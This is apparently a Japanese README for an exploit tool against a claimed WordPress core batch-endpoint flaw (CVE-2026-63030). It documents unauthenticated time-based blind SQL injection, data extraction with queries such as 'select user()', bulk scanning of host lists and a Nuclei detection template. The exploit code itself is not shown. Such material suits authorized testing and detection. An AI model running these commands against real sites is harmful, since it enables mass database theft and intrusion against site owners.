CVE-2026-63030 — WordPress wp2shell Exploit

WordPressコアのbatch-confusion脆弱性（CVE-2026-63030 / CVE-2026-60137）に対する未認証の検出・悪用ツールです。この脆弱性は、REST APIのbatchエンドポイントを通じてSQLインジェクションおよび**リモートコード実行（RCE）**に至ります。

⚠️ 認可されたセキュリティテストおよび教育目的にのみ使用してください。 以下の免責事項を参照してください。

概要

影響を受けるWordPressバージョンは、以下のREST API batchエンドポイントを公開しています：

POST /wp-json/batch/v1、または
POST /?rest_route=/batch/v1（プリティパーマリンク / wp-jsonが無効な場合のフォールバック）

batch confusionの欠陥により、batchボディ内のネストされたサブリクエストが適切な認可なしで処理され、未認証の攻撃者がSQLを注入し（例：author_excludeパラメータ経由）、最終的にRCEを達成できるようになります。

このリポジトリでは以下を提供します：

ファイル	目的
`cve-2026-63030.py`	Python CLI — バージョン検出、batchエンドポイントの解決、SLEEPベースのブラインドSQLi確認、および`--query`によるデータ抽出。一括スキャン、スレッド、プロキシをサポート。
`cve-2026-63030.yaml`	Nucleiテンプレート — パッシブなバージョンチェック + 両方のエンドポイントバリアントにわたるアクティブな時間ベースSQLi検出。

影響を受けるバージョン

ブランチ	影響範囲
6.8.x	6.8.0 – 6.8.5
6.9.x	6.9.0 – 6.9.4
7.0.x	7.0.0 – 7.0.1

6.8.6、6.9.5、および7.0.2で修正済み。

要件

Python 3.8+
requests
beautifulsoup4

pip install requests beautifulsoup4

使用方法

python3 cve-2026-63030.py [options]

オプション

フラグ	説明
`-u, --url URL`	単一のターゲットURL。
`-l, --list FILE`	一括スキャン用のターゲットURLのファイル（1行に1つ、`#`コメント可）。
`-p, --proxy URL`	プロキシ経由でリクエストをルーティング（例: `http://127.0.0.1:8080`）。
`-t, --threads N`	一括モードの並列度（デフォルト `10`）。
`-q, --query SQL`	時間ベースのブラインドインジェクションで窃取するSQL（例: `"select @@version"`）。
`--exploit`	SLEEPペイロードを送信して悪用を確認。
`--delay SEC`	ブラインドSQLi用のSLEEP時間（デフォルト `2`）。
`--timeout SEC`	リクエストごとのタイムアウト（デフォルト `10`）。
`--silent`	バナーを抑制。

-u/--url と -l/--list は相互排他です。

例

# 1. Detect whether a single target is vulnerable (version + batch endpoint)
python3 cve-2026-63030.py -u http://target.tld/

# 2. Route through Burp/ZAP
python3 cve-2026-63030.py -u http://target.tld/ -p http://127.0.0.1:8080

# 3. Confirm exploitation via the SLEEP payload
python3 cve-2026-63030.py -u http://target.tld/ --exploit --delay 5

# 4. Exfiltrate data through time-based blind SQLi
python3 cve-2026-63030.py -u http://target.tld/ -q "select @@version"
python3 cve-2026-63030.py -u http://target.tld/ -q "select user()"

# 5. Bulk scan a list of hosts and extract DB version from each vulnerable one
python3 cve-2026-63030.py -l hosts.txt -t 20 -q "select @@version"

仕組み

バージョン検出 — <meta name="generator"> タグを解析し、影響を受ける範囲と照合します。
エンドポイント解決 — まず /wp-json/batch/v1 を試し、応答がない場合にのみ /?rest_route=/batch/v1 にフォールバックします。
確認 — --exploit は SLEEP(n) ペイロードを送信し、応答が実際に遅延するか（duration >= delay）を検証します。
抽出 — --query はバイナリサーチ（IF(ASCII(SUBSTRING(...)), SLEEP(n), 0)）を用いて、結果を1文字ずつ外部に持ち出します。

Nuclei テンプレート

# Validate
nuclei -tl -t cve-2026-63030.yaml

# Scan
nuclei -t cve-2026-63030.yaml -l hosts.txt
nuclei -t cve-2026-63030.yaml -u http://target.tld/

テンプレートは両方のエンドポイントバリアントをプローブし、影響を受ける WordPress バージョンを条件として、duration >= 5 による時間ベースの SQLi を確認します。

免責事項

本プロジェクトは教育目的および許可されたセキュリティテストに限定して提供されます。本ツールは、自身が所有するシステム、またはテストに対する明示的な書面による許可を得ているシステム（例：ペネトレーションテストのスコープ、バグバウンティプログラム、CTF）に対してのみ使用できます。

所有していない、またはテストを許可されていないシステムへの無許可のスキャンや悪用は違法であり、コンピュータ不正使用に関する法律（例：米国の CFAA、英国の Computer Misuse Act、その他の地域の同等の法令）の下で刑事犯罪を構成する可能性があります。

作者および貢献者は、本ソフトウェアの使用または誤用から生じるいかなる損害、データ損失、法的結果についても一切の責任を負わず、いかなる責任も受け入れません。本ツールを使用することにより、あなたの使用が合法であること、および関連するすべてのリスクを負うことを表明したものとみなされます。

疑わしい場合は、実行しないでください。

参考文献

作者

0xh7ml — 現状のまま提供、防御的研究および教育目的。

CVE-2026-63030

人気